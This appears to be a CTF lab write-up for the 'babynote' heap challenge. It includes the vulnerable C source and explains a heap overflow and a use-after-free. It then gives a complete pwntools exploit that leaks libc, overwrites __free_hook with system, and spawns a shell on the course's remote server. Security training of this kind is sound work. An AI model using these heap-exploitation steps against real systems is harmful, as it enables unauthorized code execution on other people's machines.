Simple PWN 0x18(Lab - babynote
)
tags: CTF
PWN
eductf
Version: Ubuntu 20.04
Background
- hook - SS111-Pwn2
Hook簡介 Hook Function (攔截函式)
- The process of free and priority
Assume we malloc a memory with size over `0x410`, then when we free it, it’ll be classified to `Unsorted bin` instead of
tcache
Original Code
:::spoiler code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct Note
{
char name[0x10];
void *data;
};
struct Note *notes[0x10];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 0x10)
printf("no, no ...\n"), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
return size;
}
void add_note()
{
short int idx;
idx = get_idx();
notes[idx] = malloc(sizeof(*notes[idx]));
printf("note name\n> ");
read(0, notes[idx]->name, 0x10);
notes[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
idx = get_idx();
size = get_size();
if (notes[idx]->data == NULL)
notes[idx]->data = malloc(size);
read(0, notes[idx]->data, size);
printf("success!\n");
}
void del_note()
{
short int idx;
idx = get_idx();
free(notes[idx]->data);
free(notes[idx]);
printf("success!\n");
}
void show_notes()
{
for (int i = 0; i < 0x10; i++) {
if (notes[i] == NULL || notes[i]->data == NULL)
continue;
printf("[%d] %s\ndata: %s\n", i, notes[i]->name, (char *)notes[i]->data);
}
}
int main()
{
char opt[2];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
printf("1. add_note\n"
"2. edit_data\n"
"3. del_note\n"
"4. show_notes\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_note(); break;
case '2': edit_data(); break;
case '3': del_note(); break;
case '4': show_notes(); break;
case '5': exit(0);
}
}
return 0;
}
:::
Description
The data structure is as below, we can use add_note
to create a new note and use edit_note
to add/modify the data of note. Or just delete specific note or use show_note
to print all of them.
Something Wrong
- edit_note has heap overflow
So that we can add 2 notes and use edit function to overlap the 2nd notes.
add_note(0, b'a'*8) edit_note(0, 0xa, b'a') add_note(1, b'b'*8) edit_note(1, 0x30, b'a'*48) #<-- overlap
-
Before overlap
-
After overlap
-
- used after free(UAF)
It has not deleted the pointer when it was freed
void del_note() { short int idx; idx = get_idx(); free(notes[idx]->data); free(notes[idx]); printf("success!\n"); }
Preliminary Idea
Based on the problem we found above, we can try to use __free_hook
to execute `system('/bin/sh')`
Exploit - UAF + heap overflow + __free_hook
- Try to construct heap structure that we need
add_note(0, b'a'*8) # index 0 edit_note(0, 0x418, b'a') add_note(1, b'b'*8) # index 1 edit_note(1, 0x18, b'b') add_note(2, b'c'*8) # index 2
-
index 0
is for leaking the address oflibc
-
index 1
is to implement heap overflow -
index 2
is a fake chunk that we have to construct
-
- Leak
libc
address and find__free_hook
,__libc_system
- The reason that we set the data size of
index 0
be0x418
(1048 in decimal) is because when we free it, it will be classified toUnsorted bin
and thefd
andbk
will store the address oflibc
Then we have to find where is
__libc_system
and__free_hook
pwndbg> p __libc_system $1 = {int (const char *)} 0x7f9614bac290 <__libc_system> pwndbg> p &__free_hook $2 = (void (**)(void *, const void *)) 0x7f9614d48e48 <__free_hook>
The offset is
Unsorted bin fd
: $0x7f9614d46be0 - 0x7f9614b5a000 = 0x1ecbe0$__libc_system
: $0x7f9614bac290 - 0x7f9614b5a000 = 0x52290$__free_hook
: $0x7f9614d48e48 - 0x7f9614b5a000 = 0x1eee48$
So, we delete
index 0
first, and try to useshow_note
function to receive theUnsorted bin fd
delete_note(0) show_note() r.recvuntil(b'data:') libc = (u64(r.recv(8)) >> 8) - 0x1ecbe0 - 0xa000000000000 info(f"libc address: {hex(libc)}") free_hook_addr = libc + 0x1eee48 info(f"__free_hook address: {hex(free_hook_addr)}") libc_sys_addr = libc + 0x52290 info(f"__libc_system address: {hex(libc_sys_addr)}")
- The reason that we set the data size of
- Construct fake chunk by using heap overflow
data = b'/bin/sh\x00'.ljust(0x10, b'b') fake_chunk = flat( 0, 0x21, b'cccccccc', b'cccccccc', free_hook_addr ) edit_note(1, 0x38, data + fake_chunk) edit_note(2, 0x8, p64(libc_sys_addr))
Note that, the data of
note
structure is a pointer that point to a space that system malloc. Thus,edit_note
function will modify the pointed space, so thatedit_note(b'2\n', b'8\n', p64(libc_sys_addr))
will modify[free_hook_addr]
instead ofindex 2
. - Delete
index 1
and call__free_hook
When we freeindex 1
and__free_hook
is not NULL, then__free_hook
can be a function pointer to execute0x7ffbb6500290
that is__libc_system
and the parameter isindex 1
data, that is/bin/sh\x00
delete_note(1)
- Well, we got shell!!
- Whole exploit
:::spoiler code
from pwn import * # r = process('./chal') r = remote('edu-ctf.zoolab.org', 10007) context.arch = 'amd64' def add_note(idx, note_name): r.sendafter(b'> ', b'1') r.sendlineafter(b'index\n> ', str(idx)) r.sendafter(b'note name\n> ', note_name) def edit_note(idx, note_size, message): r.sendafter(b"> ", b"2") r.sendlineafter(b'index\n> ', str(idx)) r.sendlineafter(b'size\n> ', str(note_size)) r.send(message) def delete_note(idx): r.sendafter(b"> ", b"3") r.sendlineafter(b'index\n> ', str(idx)) def show_note(): r.sendafter(b"> ", b"4") '''------------------ Construct heap memory ------------------''' add_note(0, b'a'*8) edit_note(0, 0x418, b'a') add_note(1, b'b'*8) edit_note(1, 0x18, b'b') add_note(2, b'c'*8) '''------------------ Leak libc address ------------------''' delete_note(0) show_note() r.recvuntil(b'data:') libc = (u64(r.recv(8)) >> 8) - 0x1ecbe0 - 0xa000000000000 info(f"libc address: {hex(libc)}") free_hook_addr = libc + 0x1eee48 info(f"__free_hook address: {hex(free_hook_addr)}") libc_sys_addr = libc + 0x52290 info(f"__libc_system address: {hex(libc_sys_addr)}") '''------------------ Construct fake chunk ------------------''' data = b'/bin/sh\x00'.ljust(0x10, b'b') fake_chunk = flat( 0, 0x21, b'cccccccc', b'cccccccc', free_hook_addr ) edit_note(1, 0x38, data + fake_chunk) edit_note(2, 0x8, p64(libc_sys_addr)) delete_note(1) r.interactive()
:::